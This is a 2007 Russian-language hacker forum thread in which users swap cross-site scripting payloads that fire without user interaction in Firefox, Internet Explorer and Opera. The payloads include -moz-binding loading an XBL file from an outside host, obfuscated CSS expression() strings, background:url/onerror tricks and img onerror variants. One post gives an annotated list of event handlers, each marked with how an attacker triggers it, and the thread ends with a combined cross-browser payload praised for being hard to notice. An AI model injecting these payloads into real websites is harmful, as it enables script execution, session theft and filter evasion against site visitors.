Насчет событий onMouseOver итд

Discussion in 'Уязвимости' started by gemaglabin, 12 Jul 2007.

  1. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Имхо , вместо того чтобы использовать js события у тегов вроде <a> лучше юзать xss через стили . Меньше палева и не надо действий от юзера.Работает в firefox ( -moz-binding) и в ие , опера к сожалению не понимает таких действ.

    Code:
    <a href="#" style="-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);xxs:expression(alert(123))">123</a>
     
    7 people like this.
  2. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    как вариант, использовать бехавиор:

    Code:
    style="behavior: url(myscript.js);"
    или

    Code:
    style="behavior: expression(alert('=\'))"
     
    2 people like this.
  3. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    ИМХО, дело не в том, чтобы не использовать события, а чтобы все работало без действий юзера. Вот минималка для Оперы 9.20 до кучи

    PHP:
    <a href="#" style=background:url('//'onerror=alert(/lo/)>123</a>
     
    2 people like this.
  4. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Code:
    style="{ left:exp/**/ression( alert('xss') ) }"
    <style>a {list-style-image: url("javascript:alert('XSS')");}</style><UL><a href="#">123</a>
    style="{ left:\0065\0078pression( alert('xss') ) }"
    style="background:url(javascript:alert());"
    
    HTML:
    1.    FSCommand() (attacker can use this when executed from within an embedded Flash object)
    2.    onAbort() (when user aborts the loading of an image)
    3.    onActivate() (when object is set as the active element)
    4.    onAfterPrint() (activates after user prints or previews print job)
    5.    onAfterUpdate() (activates on data object after updating data in the source object)
    6.    onBeforeActivate() (fires before the object is set as the active element)
    7.    onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - 
    attackers can do this with the execCommand("Copy") function)
    8.    onBeforeCut() (attacker executes the attack string right before a selection is cut)
    9.    onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
    10.   onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state 
    or when an editable container object is control selected)
    11.   onBeforePaste() (user needs to be tricked into pasting or be forced into it using the 
    execCommand("Paste") function)
    12.   onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or 
    execCommand("Print") function).
    13.   onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows 
    unless it was spawned from the parent)
    14.   onBegin() (the onbegin event fires immediately when the element's timeline begins)
    15.   onBlur() (in the case where another popup is loaded and window looses focus)
    16.   onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents 
    of the marquee reach one side of the window)
    17.   onCellChange() (fires when data changes in the data provider)
    18.   onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
    19.   onClick() (someone clicks on a form)
    20.   onContextMenu() (user would need to right click on attack area)
    21.   onControlSelect() (fires when the user is about to make a control selection of the object)
    22.   onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
    23.   onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
    24.   onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
    25.   onDataSetChanged() (fires when the data set exposed by a data source object changes)
    26.   onDataSetComplete() (fires to indicate that all data is available from the data source object)
    27.   onDblClick() (user double-clicks a form element or a link)
    28.   onDeactivate() (fires when the activeElement is changed from the current object to another object in the 
    parent document)
    29.   onDrag() (requires that the user drags an object)
    30.   onDragEnd() (requires that the user drags an object)
    31.   onDragLeave() (requires that the user drags an object off a valid location)
    32.   onDragEnter() (requires that the user drags an object into a valid location)
    33.   onDragOver() (requires that the user drags an object into a valid location)
    34.   onDragDrop() (user drops an object (e.g. file) onto the browser window)
    35.   onDrop() (user drops an object (e.g. file) onto the browser window)
    36.   onEnd() (the onEnd event fires when the timeline ends.  This can be exploited, like most of the HTML+TIME 
    event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
    37.   onError() (loading of a document or image causes an error)
    38.   onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in
    the data source object)
    39.   onExit() (someone clicks on a link or presses the back button)
    40.   onFilterChange() (fires when a visual filter completes state change)
    41.   onFinish() (attacker can create the exploit when marquee is finished looping)
    42.   onFocus() (attacker executes the attack string when the window gets focus)
    43.   onFocusIn() (attacker executes the attack string when window gets focus)
    44.   onFocusOut() (attacker executes the attack string when window looses focus)
    45.   onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
    46.   onKeyDown() (user depresses a key)
    47.   onKeyPress() (user presses or holds down a key)
    48.   onKeyUp() (user releases a key)
    49.   onLayoutComplete() (user would have to print or print preview)
    50.   onLoad() (attacker executes the attack string after the window loads)
    51.   onLoseCapture() (can be exploited by the releaseCapture() method)
    52.   onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
    53.   onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there 
    is a problem)
    54.   onMouseDown() (the attacker would need to get the user to click on an image)
    55.   onMouseEnter() (cursor moves over an object or area)
    56.   onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
    57.   onMouseMove() (the attacker would need to get the user to mouse over an image or table)
    58.   onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
    59.   onMouseOver() (cursor moves over an object or area)
    60.   onMouseUp() (the attacker would need to get the user to click on an image)
    61.   onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
    62.   onMove() (user or attacker would move the page)
    63.   onMoveEnd() (user or attacker would move the page)
    64.   onMoveStart() (user or attacker would move the page)
    65.   onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
    66.   onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
    67.   onPause() (the onpause event fires on every element that is active when the timeline pauses, including the 
    body element)
    68.   onProgress() (attacker would use this as a flash movie was loading)
    69.   onPropertyChange() (user or attacker would need to change an element property)
    70.   onReadyStateChange() (user or attacker would need to change an element property)
    71.   onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
    72.   onReset() (user or attacker resets a form)
    73.   onResize() (user would resize the window; attacker could auto initialize with something like: 
    <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
    74.   onResizeEnd() (user would resize the window; attacker could auto initialize with something like: 
    <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
    75.   onResizeStart() (user would resize the window; attacker could auto initialize with something like: 
    <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
    76.   onResume() (the onresume event fires on every element that becomes active when the timeline resumes, 
    including the body element)
    77.   onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline 
    begins to play backward)
    78.   onRowEnter() (user or attacker would need to change a row in a data source)
    79.   onRowExit() (user or attacker would need to change a row in a data source)
    80.   onRowDelete() (user or attacker would need to delete a row in a data source)
    81.   onRowInserted() (user or attacker would need to insert a row in a data source)
    82.   onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
    83.   onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
    84.   onSelect() (user needs to select some text - attacker could auto initialize with something like: 
    window.document.execCommand("SelectAll");)
    85.   onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: 
    window.document.execCommand("SelectAll");)
    86.   onSelectStart() (user needs to select some text - attacker could auto initialize with something like: 
    window.document.execCommand("SelectAll");)
    87.   onStart() (fires at the beginning of each marquee loop)
    88.   onStop() (user would need to press the stop button or leave the webpage)
    89.   onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
    90.   onSubmit() (requires attacker or user submits a form)
    91.   onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
    92.   onTrackChange() (user or attacker changes track in a playList)
    93.   onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
    94.   onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME 
    (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
    95.   seekSegmentTime() (this is a method that locates the specified point on the element's segment time line 
    and begins playing from that point. The segment consists of one repetition of the time line including reverse play 
    using the AUTOREVERSE attribute.)
    
    
     
    _________________________
    3 people like this.
  5. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Угу , если img`у задать пустой src , то можно юзать onerror
     
  6. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Угу, только есть опять нюансы:
    1) при onerror с пустым урл в img опять-таки пошлёт Опера 9.20 Выход: комбинировать onerror со style по модели, приведенной мною в предыдущем посте. Будет работать везде.
    2) если мы можем изменять сами src тега img (а такого может и не быть), то про проблемы обработчика onerror в разных браузерах вообще можно забыть. Onload - будет достаточно. Однако если уж очень хочется, приведу то, что увидел недавно в посте Cenarius'a (привожу в качестве источника). Будет работать везде.

    PHP:
    <img src=. onerror="alert('C')">
    Но это не пустой src. Как и такой вариант для IE и Opera

    PHP:
    <img src=// onerror="alert('ХSS')">
    ну, есть еще, конечно, старая мультибраузерная XSS на мыл ру от Dronga, но там полноценный урл с концевой ">" в параметре src, смотрите сами.

    3) img - вообще тема другая, а onerror с ним - палево конкретное.
    ___________________________
    ___________________________

    Резюме из всех постов касательно темы:

    С тегом <a> без действий юзера во всех браузерах будет работать только это

    PHP:
    <a href="#" style="-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);xxs:expression(alert(123));background:url('//')" onerror=alert(/lo/)>123</a>
    Вот такие нынче времена пошли... Чем уродливее XSS, тем она красивее. Это даже не мультибраузерность, а браузерность на любой вкус.
     
    #6 LeverOne, 14 Jul 2007
    Last edited: 14 Jul 2007
    1 person likes this.